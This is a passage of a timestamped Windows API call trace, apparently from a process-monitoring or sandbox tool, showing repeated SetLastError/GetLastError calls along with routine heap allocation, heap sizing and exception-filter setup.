SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.104] GetLastError () returned 0x0 [0080.104] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.105] GetLastError () returned 0x0 [0080.105] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.106] SetLastError (dwErrCode=0x0) [0080.106] GetLastError () returned 0x0 [0080.107] SetLastError (dwErrCode=0x0) [0080.107] GetLastError () returned 0x0 [0080.107] SetLastError (dwErrCode=0x0) [0080.107] GetLastError () returned 0x0 [0080.107] SetLastError (dwErrCode=0x0) [0080.107] GetLastError () returned 0x0 [0080.107] SetLastError (dwErrCode=0x0) [0080.107] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.115] SetLastError (dwErrCode=0x0) [0080.115] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.116] GetLastError () returned 0x0 [0080.116] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.117] GetLastError () returned 0x0 [0080.117] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.118] SetLastError (dwErrCode=0x0) [0080.118] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] GetLastError () returned 0x0 [0080.119] SetLastError (dwErrCode=0x0) [0080.119] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6b) returned 0x2111710 [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.120] SetLastError (dwErrCode=0x0) [0080.120] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.121] SetLastError (dwErrCode=0x0) [0080.121] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.122] SetLastError (dwErrCode=0x0) [0080.122] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.123] SetLastError (dwErrCode=0x0) [0080.123] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.124] GetLastError () returned 0x0 [0080.124] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.125] GetLastError () returned 0x0 [0080.125] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.126] SetLastError (dwErrCode=0x0) [0080.126] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.127] SetLastError (dwErrCode=0x0) [0080.127] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.128] GetLastError () returned 0x0 [0080.128] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.129] GetLastError () returned 0x0 [0080.129] SetLastError (dwErrCode=0x0) [0080.133] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x90) returned 0x2111788 [0080.133] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1f) returned 0x2111820 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x2e) returned 0x2111848 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x37) returned 0x2111880 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x3c) returned 0x21118c0 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x31) returned 0x2111908 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x14) returned 0x2111948 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x24) returned 0x2111968 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd) returned 0x2111998 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1d) returned 0x21119b0 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x31) returned 0x21119d8 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x15) returned 0x2111a18 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x17) returned 0x2111a38 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xe) returned 0x2111a58 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x69) returned 0x2111a70 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x3e) returned 0x2111ae8 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1b) returned 0x2111b30 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1d) returned 0x2111b58 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x48) returned 0x2111b80 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x12) returned 0x2111bd0 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x18) returned 0x2111bf0 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1b) returned 0x2111c10 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x24) returned 0x2111c38 [0080.137] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x29) returned 0x2111c68 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x1e) returned 0x2111ca0 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x6b) returned 0x2111cc8 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x17) returned 0x2111d40 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xf) returned 0x2111d60 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x16) returned 0x2111d78 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x2a) returned 0x2111d98 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x29) returned 0x2111dd0 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x12) returned 0x2111e08 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x21) returned 0x2111e28 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x16) returned 0x2111e58 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x22) returned 0x2111e78 [0080.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x12) returned 0x2111ea8 [0080.138] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110fd0 | out: hHeap=0x2110000) returned 1 [0080.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x80) returned 0x2111ec8 [0080.193] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x800) returned 0x2111f50 [0080.193] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0080.193] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.193] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaac4) returned 0x403935 [0080.194] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.240] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.240] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.240] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.240] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.241] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.241] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.241] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.340] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.340] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.341] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.341] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.341] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.341] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.341] RtlSizeHeap (HeapHandle=0x2110000, Flags=0x0, MemoryPointer=0x2111ec8) returned 0x80 [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.342] SetLastError (dwErrCode=0x0) [0080.342] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.343] SetLastError (dwErrCode=0x0) [0080.343] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.344] SetLastError (dwErrCode=0x0) [0080.344] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.345] SetLastError (dwErrCode=0x0) [0080.345] GetLastError () returned 0x0 [0080.346] SetLastError (dwErrCode=0x0) [0080.346] GetLastError () returned 0x0 [0080.346] SetLastError (dwErrCode=0x0) [0080.346] GetLastError () returned 0x0 [0080.346] SetLastError (dwErrCode=0x0) [0080.346] GetLastError () returned 0x0 [0080.346] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.384] SetLastError (dwErrCode=0x0) [0080.384] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.385] SetLastError (dwErrCode=0x0) [0080.385] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.386] SetLastError (dwErrCode=0x0) [0080.386] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.387] SetLastError (dwErrCode=0x0) [0080.387] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError 